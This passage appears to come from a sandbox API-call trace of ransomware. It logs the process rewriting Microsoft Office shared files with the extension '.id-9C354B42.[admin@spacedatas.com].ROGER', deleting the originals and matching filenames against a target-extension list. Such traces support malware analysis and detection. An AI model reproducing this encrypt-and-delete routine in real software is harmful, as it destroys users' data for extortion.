(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0046.444] GetLastError () returned 0x0 [0046.444] ReadFile (in: hFile=0x3dc, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x2174, lpOverlapped=0x0) returned 1 [0046.445] WriteFile (in: hFile=0x370, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x2180, lpOverlapped=0x0) returned 1 [0046.446] ReadFile (in: hFile=0x3dc, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0046.446] WriteFile (in: hFile=0x370, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe4, lpOverlapped=0x0) returned 1 [0046.446] SetEndOfFile (hFile=0x370) returned 1 [0046.446] CloseHandle (hObject=0x370) returned 1 [0046.446] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.446] SetEndOfFile (hFile=0x3dc) returned 1 [0046.447] CloseHandle (hObject=0x3dc) returned 1 [0046.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0046.448] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0046.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.448] lstrlenW (lpString=".doc") returned 4 [0046.448] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.448] lstrlenW (lpString=".docx") returned 5 [0046.448] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0046.448] lstrlenW (lpString=".pdf") returned 4 [0046.448] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.448] lstrlenW (lpString=".xls") returned 4 [0046.448] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.448] lstrlenW (lpString=".xlsx") returned 5 [0046.448] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0046.448] lstrlenW (lpString=".ppt") returned 4 [0046.448] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.448] lstrlenW (lpString=".zip") returned 4 [0046.448] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.448] lstrlenW (lpString=".rar") returned 4 [0046.448] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.448] lstrlenW (lpString=".bz2") returned 4 [0046.448] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.448] lstrlenW (lpString=".7z") returned 3 [0046.448] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.449] lstrlenW (lpString=".dbf") returned 4 [0046.449] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.449] lstrlenW (lpString=".1cd") returned 4 [0046.449] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.449] lstrlenW (lpString=".jpg") returned 4 [0046.449] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.449] lstrlenW (lpString=".doc") returned 4 [0046.449] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.449] lstrlenW (lpString=".docx") returned 5 [0046.449] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0046.449] lstrlenW (lpString=".pdf") returned 4 [0046.449] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.449] lstrlenW (lpString=".xls") returned 4 [0046.449] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.449] lstrlenW (lpString=".xlsx") returned 5 [0046.449] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0046.449] lstrlenW (lpString=".ppt") returned 4 [0046.449] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.449] lstrlenW (lpString=".zip") returned 4 [0046.449] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.449] lstrlenW (lpString=".rar") returned 4 [0046.449] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.449] lstrlenW (lpString=".bz2") returned 4 [0046.449] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.449] lstrlenW (lpString=".7z") returned 3 [0046.450] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.450] lstrlenW (lpString=".dbf") returned 4 [0046.450] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.450] lstrlenW (lpString=".1cd") returned 4 [0046.450] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.450] lstrlenW (lpString=".jpg") returned 4 [0046.450] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.450] lstrcmpiW (lpString1=".XSL", lpString2=".ROGER") returned 1 [0046.450] lstrlenW (lpString="BASMLA.XSL") returned 10 [0046.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0046.450] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=227311) returned 1 [0046.450] CloseHandle (hObject=0x3dc) returned 1 [0046.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0046.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0046.451] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.451] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0046.451] GetLastError () returned 0x0 [0046.451] ReadFile (in: hFile=0x3dc, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x377ef, lpOverlapped=0x0) returned 1 [0046.457] WriteFile (in: hFile=0x370, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0046.462] ReadFile (in: hFile=0x3dc, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0046.462] WriteFile (in: hFile=0x370, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0046.462] SetEndOfFile (hFile=0x370) returned 1 [0046.462] CloseHandle (hObject=0x370) returned 1 [0046.462] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.462] SetEndOfFile (hFile=0x3dc) returned 1 [0046.464] CloseHandle (hObject=0x3dc) returned 1 [0046.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0046.464] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0046.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0046.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0046.464] lstrlenW (lpString=".doc") returned 4 [0046.464] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0046.464] lstrlenW (lpString=".docx") returned 5 [0046.465] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0046.465] lstrlenW (lpString=".pdf") returned 4 [0046.465] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0046.465] lstrlenW (lpString=".xls") returned 4 [0046.465] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0046.465] lstrlenW (lpString=".xlsx") returned 5 [0046.465] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0046.465] lstrlenW (lpString=".ppt") returned 4 [0046.465] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0046.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0046.465] lstrlenW (lpString=".zip") returned 4 [0046.465] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0046.465] lstrlenW (lpString=".rar") returned 4 [0046.465] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0046.465] lstrlenW (lpString=".bz2") returned 4 [0046.465] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0046.465] lstrlenW (lpString=".7z") returned 3 [0046.465] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0046.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0046.465] lstrlenW (lpString=".dbf") returned 4 [0046.465] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0046.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0046.465] lstrlenW (lpString=".1cd") returned 4 [0046.465] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0046.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0046.465] lstrlenW (lpString=".jpg") returned 4 [0046.465] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0046.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0046.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0046.465] lstrlenW (lpString=".doc") returned 4 [0046.466] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0046.466] lstrlenW (lpString=".docx") returned 5 [0046.466] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0046.466] lstrlenW (lpString=".pdf") returned 4 [0046.466] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0046.466] lstrlenW (lpString=".xls") returned 4 [0046.466] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0046.466] lstrlenW (lpString=".xlsx") returned 5 [0046.466] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0046.466] lstrlenW (lpString=".ppt") returned 4 [0046.466] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0046.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0046.466] lstrlenW (lpString=".zip") returned 4 [0046.466] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0046.466] lstrlenW (lpString=".rar") returned 4 [0046.466] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0046.466] lstrlenW (lpString=".bz2") returned 4 [0046.466] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0046.466] lstrlenW (lpString=".7z") returned 3 [0046.466] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0046.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0046.466] lstrlenW (lpString=".dbf") returned 4 [0046.466] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0046.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0046.466] lstrlenW (lpString=".1cd") returned 4 [0046.466] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0046.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0046.466] lstrlenW (lpString=".jpg") returned 4 [0046.466] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0046.467] lstrcmpiW (lpString1=".TXT", lpString2=".ROGER") returned 1 [0046.467] lstrlenW (lpString="METCONV.TXT") returned 11 [0046.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0046.752] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1183416) returned 1 [0046.787] CloseHandle (hObject=0x390) returned 1 [0046.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0046.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0046.802] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.805] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0046.813] GetLastError () returned 0x0 [0046.813] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0xffff0, lpOverlapped=0x0) returned 1 [0046.861] WriteFile (in: hFile=0x3d8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0046.880] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0047.169] WriteFile (in: hFile=0x3d8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0047.176] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0047.176] WriteFile (in: hFile=0x3d8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.176] SetEndOfFile (hFile=0x3d8) returned 1 [0047.176] CloseHandle (hObject=0x3d8) returned 1 [0047.176] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.176] SetEndOfFile (hFile=0x390) returned 1 [0047.178] CloseHandle (hObject=0x390) returned 1 [0047.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.178] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0047.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.178] lstrlenW (lpString=".doc") returned 4 [0047.178] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0047.178] lstrlenW (lpString=".docx") returned 5 [0047.178] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0047.178] lstrlenW (lpString=".pdf") returned 4 [0047.179] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0047.179] lstrlenW (lpString=".xls") returned 4 [0047.179] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0047.179] lstrlenW (lpString=".xlsx") returned 5 [0047.179] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0047.179] lstrlenW (lpString=".ppt") returned 4 [0047.179] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0047.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.179] lstrlenW (lpString=".zip") returned 4 [0047.179] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0047.179] lstrlenW (lpString=".rar") returned 4 [0047.179] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0047.179] lstrlenW (lpString=".bz2") returned 4 [0047.179] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0047.179] lstrlenW (lpString=".7z") returned 3 [0047.179] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0047.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.179] lstrlenW (lpString=".dbf") returned 4 [0047.179] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0047.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.179] lstrlenW (lpString=".1cd") returned 4 [0047.179] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0047.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.179] lstrlenW (lpString=".jpg") returned 4 [0047.179] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0047.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.179] lstrlenW (lpString=".doc") returned 4 [0047.179] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0047.179] lstrlenW (lpString=".docx") returned 5 [0047.179] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0047.179] lstrlenW (lpString=".pdf") returned 4 [0047.179] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0047.179] lstrlenW (lpString=".xls") returned 4 [0047.180] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0047.180] lstrlenW (lpString=".xlsx") returned 5 [0047.180] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0047.180] lstrlenW (lpString=".ppt") returned 4 [0047.180] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0047.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.180] lstrlenW (lpString=".zip") returned 4 [0047.180] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0047.180] lstrlenW (lpString=".rar") returned 4 [0047.180] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0047.180] lstrlenW (lpString=".bz2") returned 4 [0047.180] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0047.180] lstrlenW (lpString=".7z") returned 3 [0047.180] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0047.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.180] lstrlenW (lpString=".dbf") returned 4 [0047.180] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0047.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.180] lstrlenW (lpString=".1cd") returned 4 [0047.180] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0047.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0047.180] lstrlenW (lpString=".jpg") returned 4 [0047.180] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0047.180] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0047.180] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.181] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1560) returned 1 [0047.181] CloseHandle (hObject=0x390) returned 1 [0047.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0047.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.181] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.181] 